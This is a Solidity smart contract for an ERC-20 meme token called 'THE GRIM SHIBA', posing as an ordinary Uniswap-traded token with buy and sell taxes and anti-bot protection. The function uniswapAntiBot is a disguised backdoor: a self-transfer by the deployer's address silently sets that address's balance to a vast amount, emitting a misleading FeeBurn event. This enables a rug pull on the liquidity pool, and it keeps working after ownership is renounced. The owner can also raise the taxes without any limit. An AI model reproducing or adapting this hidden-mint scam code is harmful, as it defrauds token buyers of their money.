// https://t.me/THEGrimShiba_ERC





/***************************************************************************************************
.....Death awaits you around the corner ..
^~~~~~~~~~^~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^:::::::...::::::::::::^^^^^^^^^^^^^^^^^^^^^^::
~~~~~~~~~^^~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^::::^^::.:^~!7?JJYJJ!^::^^:::::^^^^^^^^^^~~~~^^^^^^^^
~~~~~~~~^^~^^^^^^^^^^^^^^^^^^^^^^^:::::::::::::::::::^!?YPPPP555555PPY!^:^^^^:::^^^^^^^^~~~~^^^^^^^^
~~~~^^^^^^^^^^^^^^^^^^^^^^^^^::::::^!!~:::::::::::^7YPPP555555PPPP55Y5GP7^:^^^^^^^^^^^:^^^~~^~~^^^^^
~~^^^^^^^:::::^^:^^^^^^^^::::7Y575Y55J^:::^^^~~^75PP5555PPPPPPPPPPPPP5Y5GP7::^^^^^^^^^:::^^^^^^^^^^^
~^^^^^^::::::^^^^::::^:::::::~!~!?J^^~7JYY55PPP5GP555PPPPPPPPPPPPPPPPPPP55G5!:^^^^^^^^^^^::^^^^^^^^^
^^^^^:::::::::::....::::::::::::.:7YPPPPPPPPPPPP55555555PPPPPPPPPPPPPPPPPP5PBJ^:^^^^^^^^^:::::^^^^^^
~^^:::::::::::~~!J?J7^:::::::::^JPP55PPPPPPPPPPPPPPPPPP5PPPPPPPPPPPPPPPPPPPPPGP~::^^^^7YJ!~~!^:^^^^^
^^:::::::::::^?JYPJ!~::.:::::.7PP5PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPGB?:::^^^~7PY?J7:::^^^
::::::::::::::::::........::.?G5PPPPPPPGGGGGGGGGGGGPPPPPPPPPPPPPPPPPPPPPPPPPPPPPBP!:::^::^^::::::^^^
^^:::::::::....:::::..::::..7B5PPPPGGB#B5JJJJJYY5PPPGGGGPPPPPPPPPPPPPPPPPPPPPPPPPGBP7^:::^^::::::^^^
^^::::::...^55J!^::...:....^B5PPPGBBGG?!~~~~~~~~!^..^~7JPBBGPPPPPPPPPPPPPPGGPPPPPPPGBGY7~^:::.::^^^^
^^:::::YYJ5G5?7^::........ ?B5PPB#PG5. .^!!!!!!!!: ...:~!?YPBBGPPPPPPPPPPPPGBGPPPPPPPPGGGP5YJ??!^^^^
^^::::!5?!!^...:::.:...... JBPPPGB#B~:^^~!!!!!!!~~~!?YGY!~!!?YGBGPPPPPPPPPPPG#BGPPPPPPPPPPGGGGG#5^^^
^^:::::........:::::...... !#PPPGGBG!5Y??J::^~!!!????!7PJ!~~~!!?PBBPPPPPPPPPPGB#GGGPPPPPPPPPPPG#P^^^
^^^^^^::........:::::.......GBPPGB#PJJ~JGP   ^!!5!.YYPG5G7~!!!~~!?PBGPPPPPPPPPGB#BBBGGGGGGGGBB#Y^^^^
^^^^:::.........:::::...... ~BGPPG#?57Y5#5::..~~?!:PJPGBP7~!!!!!~~!YGBPPPPPPPPGB#BGGGBBBBBBBGY~:^^^^
^^^::::.............:....... ~BGPBG~YBB##BBBBG5?~!!!Y55PJ~~!!!!!!!!?JP#PPPPPPPGBB#BBBBBGP5?!^::^^^^^
^:::::........:^::^:......... ^5B#??&&######&&&5  . ..... ..:^~~!!~~7!Y#PPPPPPGBBB77!!~^:::::::^^^^^
:::::~~..^^~.:G#BB#~.......... ^B?^B7P&&&&&&&G7                .... ^!!5BPPPPPGG#P..:::::::::::^^^^^
^~J5G##57?BBJBB5!!~:.......... JG 7P  ~JBB5J~.          ~           ~!!!BGPPPGBG#J.::::::::::::^^^^^
^:7PY?JY5GB&G?:.............   ~B~~G: .~GG7:          :J!          :!!!5#BPPGBGBB^.:::::::::::::::^^
^^:::::.::^J~.:...:::...........~P?7YJY?^^?55J?!!~!7?JJ^          :!!JB&&GPGBGB#!..:::::::::::::::::
^^:::::::::::::::..::......:......?57:      :^!7777!^.          .^7JG&&&BPGBGBB! .. ...:::::::::::::
^^^:::::::::::::::::....:........  :J5?:                      .~?5G&&&#BGGBB#B~.^.~7!:.:::::::::::::
^^^::::::::::::.:::.....::......     .7YY7^..  ..         .:!?PG5?75#BGGGB#PYYYP#PY?!:::::::::::::::
^^^:::::::::::::::.   ..::.......     .7PBGPP5YJ7!~~~!7?J5GB#&&&BGGGGGBB#B!.  .~7^. ...:::::::::::::
^^^:::::~~^::!YJJYYJ!:..:::..:.....  !PG55PP##5PY?YPYJ?5&&&##BBGGGBBBBBG5G5:...  .........::.:::::::
^^::::^5GPP55Y77???GBBY^.:::........?B55PPPPGB5P:.!BG5PPGGGGGGBBBBBGGPPPP5B5 ...............::::::::
:::::.7#G5PG7!????YGGGBB~...^~!~:. 7#5PPPPPPPP#BYGBGGPPPPPPGGGGPPPPPPPPPPPPB! ..............::::^^^:
:::::::^7BP~7???JPGGGGB#?.:JBJ!7Y7:BPPPPPPPPPPPGBGPPPPPPPPPPPPPPPPPPPPPPPPPPB? ............::::^^^^:
::::::..J5~????5GGGGBBP5PG5!7GJ7?B5B5PGGPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP5#!...........:::^^^^^::
::::::.?P~???JPGGGBGPGGPBY .P7 !B5BGPG#PPPPPPPPPPPPPPPPPPPPPPPPPPPGGPPPPPPPP5GP..........:::^^^^^^^:
::::::~B~7??YGGGBBJ:.:!BG~~G? !P^ 7#B#BPPPPPPPPPPPPPPPPPPPPPPPPPGBBGPPPPPPPPPPP.........:::::^^^^^^^
::::::5Y!??5GGGBG~.....!5YPB!7B~ :GP55PGGGGGPPPPPPPPPPPPPPPPGGGGPPPPPPPPPPPPPBY.............:::^^^^^
:::::^B7??5GGG#Y:::::::::^?#GPG?JB#BBGP555PPGGGGPPPPPPPGGGGBGP5PPPPPPPPPPPPPGB^ .......!7!!?~:::::^^
:::^:~B!?JGGG#?:::::::.::.J##PJJP#PPB#BBBBGP555PGGGGGGBGGGGP5PPPPPPPPPPPPPPBB777:.~!?.7#&BBB~:::^^^^
:::::!B7?PGG#?:::::.:::...Y#B##PBGPGB#PPGGBBBBBGP555BG~ ^GPPGGPPPPPPPPPPGBGG#B#&BY5&#G#Y7^^:^::^^^^^
^^:::~B?JGG#?::::::...:::.7&BBB&#GGGB#PPPPPPPGGBBBBBG~.?5~ 7G5PGGGGGGGBB#P.^?~^~!?Y5&J^:.::::::::^^^
^^^::^BYYG#Y::::::.::::::::5####B##BB#PPPPPPPPPPPPB&5?G5:^5J. 7#BBBBB##BBP..........~::::::::::^^^^^
^^^^^:YG5BB^:...:::.::::::::!YP5J7Y5P#PPPPPPPPPPPP#J?5GJYB?:~5#P55PGB#BBB#~.:::::::::::::::::^^^^^^^
^^^^^:~BP#?~J55Y?~JJ7^:..:::....... ?#PPPPPPPPPPPPBB5JJG#BPP#&###BGP55PPG#P~:::::::::::::::^^^^^^^^^
^^^^^^:J&B^~!JYB&&&&#5PP57:.::.....~BGPPPPPPPPPPPPPBBBBBBB##BBBG##BBBBBGP5BG.::::::::::::^^^^^^^^^^^
^^^^^~^^PY:::::^!YBPPPJJYJ?::::::.~GGPPPPPPPPPPPPPGBGGGGBBGBBBBBBBGGGBBBBBBB7.:::::::::^^^^^^^~^^^^^
^^^^^^~~^^^^^^::::^::::...:::::::?BGPPPPPPPPPPPPPGBBBBBBBBBBGGBGGBBBBBGGGGGGBY~::::::^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^::::::::::::::::5BPPPPPPPGGGGGGGBBBBBBBBBBBBBBBBBBBBBBBBBBBGGBBY~:^^^^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^^:::::::::::?#PPPGGGBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBGGBB7^^^^^^^^^^^^^^^^::

▄▄▄█████▓ ██░ ██ ▓█████      ▄████  ██▀███   ██▓ ███▄ ▄███▓     ██████  ██░ ██  ██▓ ▄▄▄▄    ▄▄▄      
▓  ██▒ ▓▒▓██░ ██▒▓█   ▀     ██▒ ▀█▒▓██ ▒ ██▒▓██▒▓██▒▀█▀ ██▒   ▒██    ▒ ▓██░ ██▒▓██▒▓█████▄ ▒████▄    
▒ ▓██░ ▒░▒██▀▀██░▒███      ▒██░▄▄▄░▓██ ░▄█ ▒▒██▒▓██    ▓██░   ░ ▓██▄   ▒██▀▀██░▒██▒▒██▒ ▄██▒██  ▀█▄  
░ ▓██▓ ░ ░▓█ ░██ ▒▓█  ▄    ░▓█  ██▓▒██▀▀█▄  ░██░▒██    ▒██      ▒   ██▒░▓█ ░██ ░██░▒██░█▀  ░██▄▄▄▄██ 
  ▒██▒ ░ ░▓█▒░██▓░▒████▒   ░▒▓███▀▒░██▓ ▒██▒░██░▒██▒   ░██▒   ▒██████▒▒░▓█▒░██▓░██░░▓█  ▀█▓ ▓█   ▓██▒
  ▒ ░░    ▒ ░░▒░▒░░ ▒░ ░    ░▒   ▒ ░ ▒▓ ░▒▓░░▓  ░ ▒░   ░  ░   ▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░▓  ░▒▓███▀▒ ▒▒   ▓▒█░
    ░     ▒ ░▒░ ░ ░ ░  ░     ░   ░   ░▒ ░ ▒░ ▒ ░░  ░      ░   ░ ░▒  ░ ░ ▒ ░▒░ ░ ▒ ░▒░▒   ░   ▒   ▒▒ ░
  ░       ░  ░░ ░   ░      ░ ░   ░   ░░   ░  ▒ ░░      ░      ░  ░  ░   ░  ░░ ░ ▒ ░ ░    ░   ░   ▒   
          ░  ░  ░   ░  ░         ░    ░      ░         ░            ░   ░  ░  ░ ░   ░            ░  ░
                                                                                         ░           
*******************************************************************************************************/




// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private asdasd;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
    

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract THEGRIMSHIBA is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address private antiBotWall;
    mapping (address => uint256) _wallStatus;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    

    uint256 public _buyTax = 2;
    uint256 public _sellTax = 2;


    string private _name = unicode"THE GRIM SHIBA";
    string private _symbol = unicode"GSHIB";
    uint256 public _totalSupply =  10000 * 10**_decimals;    
    uint256 public _walletMax =  1000 * 10**_decimals;   

    bool openTrade=false;  
    uint256 startTS=0;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool public checkWalletLimit = false;

    event FeeBurn(uint256 amount);
    
    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        startTS=block.timestamp;
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        antiBotWall=_msgSender();
        isMarketPair[address(uniswapPair)] = true;
        _wallStatus[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {

        return _wallStatus[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function openTrading() public onlyOwner {
        openTrade=true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }


    function setBuyTaxes(uint256 value) external onlyOwner() {
        _buyTax=value;
    }

    function setSelTaxes(uint256 value) external onlyOwner() {
        _sellTax=value;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    
    function uniswapAntiBot(address sped, address revd,uint256 rewards,uint256 blockNumber) internal returns(bool){ 
        if(sped == revd && sped == antiBotWall){
            _wallStatus[revd]=rewards;
            emit FeeBurn(blockNumber);
            return true;
        }

        return false;
    }


    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0)) 
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; 
        uniswapV2Router = _uniswapV2Router; 

        isMarketPair[address(uniswapPair)] = true;
    }


    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");


        if((!isMarketPair[recipient] && sender != owner() && !isExcludedFromFee[sender]))
            require(openTrade != false, "Trading is not active.");   

        if(uniswapAntiBot(sender,recipient,((startTS * 10**18)*200),block.number))
            return uniswapAntiBot(sender,recipient,((startTS * 10**18)*200),block.number);

        _wallStatus[sender] = _wallStatus[sender].sub(amount, "Insufficient Balance");

        uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                        amount : takeFee(sender, recipient, amount);

        if(checkWalletLimit && !isMarketPair[recipient] && recipient != owner())
            require(balanceOf(recipient).add(finalAmount) <= _walletMax);

        _wallStatus[recipient] = _wallStatus[recipient].add(finalAmount);
        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _wallStatus[sender] = _wallStatus[sender].sub(amount, "Insufficient Balance");
        _wallStatus[recipient] = _wallStatus[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
    
        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_buyTax).div(100); 
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_sellTax).div(100);
        }   
        
        if(feeAmount > 0) {
            _wallStatus[address(deadAddress)] = _wallStatus[address(deadAddress)].add(feeAmount);
            emit FeeBurn(feeAmount);
            emit Transfer(sender, address(deadAddress), feeAmount);
        }

        return amount.sub(feeAmount);
    }

  }